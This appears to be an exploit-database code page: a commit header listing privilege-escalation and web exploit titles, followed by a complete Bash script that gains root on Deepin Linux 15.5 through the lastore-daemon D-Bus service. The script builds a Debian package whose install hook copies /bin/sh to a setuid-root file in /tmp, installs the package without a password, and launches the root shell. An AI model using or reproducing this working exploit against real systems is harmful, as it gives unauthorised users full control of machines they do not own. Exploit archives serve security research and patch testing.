6f49190671
19 changes to exploits/shellcodes pdfresurrect 0.15 - Buffer Overflow Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Privilege Escalation Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Local Privilege Escalation Serv-U FTP Server < 15.1.7 - Local Privilege Escalation Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1) Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (cron Method) Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (dbus Method) Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (ldpreload Method) Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (polkit Method) Linux Kernel 4.8.0-34 < 4.8.0-45 (Ubuntu / Linux Mint) - Packet Socket Local Privilege Escalation Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation VMware Workstation/Player < 12.5.5 - Local Privilege Escalation S-nail < 14.8.16 - Local Privilege Escalation Deepin Linux 15 - 'lastore-daemon' Local Privilege Escalation Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2) ASAN/SUID - Local Privilege Escalation Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation Ovidentia 8.4.3 - SQL Injection Moodle Filepicker 3.5.2 - Server Side Request Forgery Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution (Metasploit) Ahsay Backup 7.x - 8.1.1.50 - XML External Entity Injection
33 lines
No EOL
1.6 KiB
Bash
Executable file
33 lines
No EOL
1.6 KiB
Bash
Executable file
#!/bin/bash
|
|
# Deepin Linux 15.5 lastore-daemon D-Bus Local Root Exploit
|
|
#
|
|
# The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any user
|
|
# in the sudo group to install arbitrary packages without providing a password,
|
|
# resulting in code execution as root. By default, the first user created on
|
|
# the system is a member of the sudo group.
|
|
# ~ bcoles
|
|
#
|
|
# Based on exploit by King's Way: https://www.exploit-db.com/exploits/39433/
|
|
#
|
|
echo Deepin Linux 15.5 lastore-daemon D-Bus Local Root Exploit
|
|
echo Building package...
|
|
BASE="/tmp/"
|
|
UUID=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 32 | head -n 1)
|
|
mkdir "${BASE}${UUID}" && mkdir "${BASE}${UUID}/DEBIAN"
|
|
echo -e "Package: ${UUID}\nVersion: 0.1\nMaintainer: ${UUID}\nArchitecture: all\nDescription: ${UUID}" > ${BASE}${UUID}/DEBIAN/control
|
|
echo -e "#!/bin/sh\ncp /bin/sh ${BASE}/rootsh\nchmod 04755 ${BASE}/rootsh\n" > ${BASE}${UUID}/DEBIAN/postinst
|
|
chmod +x ${BASE}${UUID}/DEBIAN/postinst
|
|
dpkg-deb --build "${BASE}${UUID}"
|
|
echo Installing package...
|
|
dbus-send --system --dest=com.deepin.lastore --type=method_call --print-reply /com/deepin/lastore com.deepin.lastore.Manager.InstallPackage string:"${UUID}" string:"${BASE}${UUID}.deb"
|
|
sleep 10
|
|
echo Removing package...
|
|
dbus-send --system --dest=com.deepin.lastore --type=method_call --print-reply /com/deepin/lastore com.deepin.lastore.Manager.RemovePackage string:" " string:"${UUID}"
|
|
rm -rf "${BASE}${UUID}" "${BASE}${UUID}.deb"
|
|
if [ -f /tmp/rootsh ]
|
|
then
|
|
echo "Success! Found root shell: /tmp/rootsh"
|
|
/tmp/rootsh
|
|
else
|
|
echo "Exploit failed! Check /var/log/lastore/daemon.log"
|
|
fi |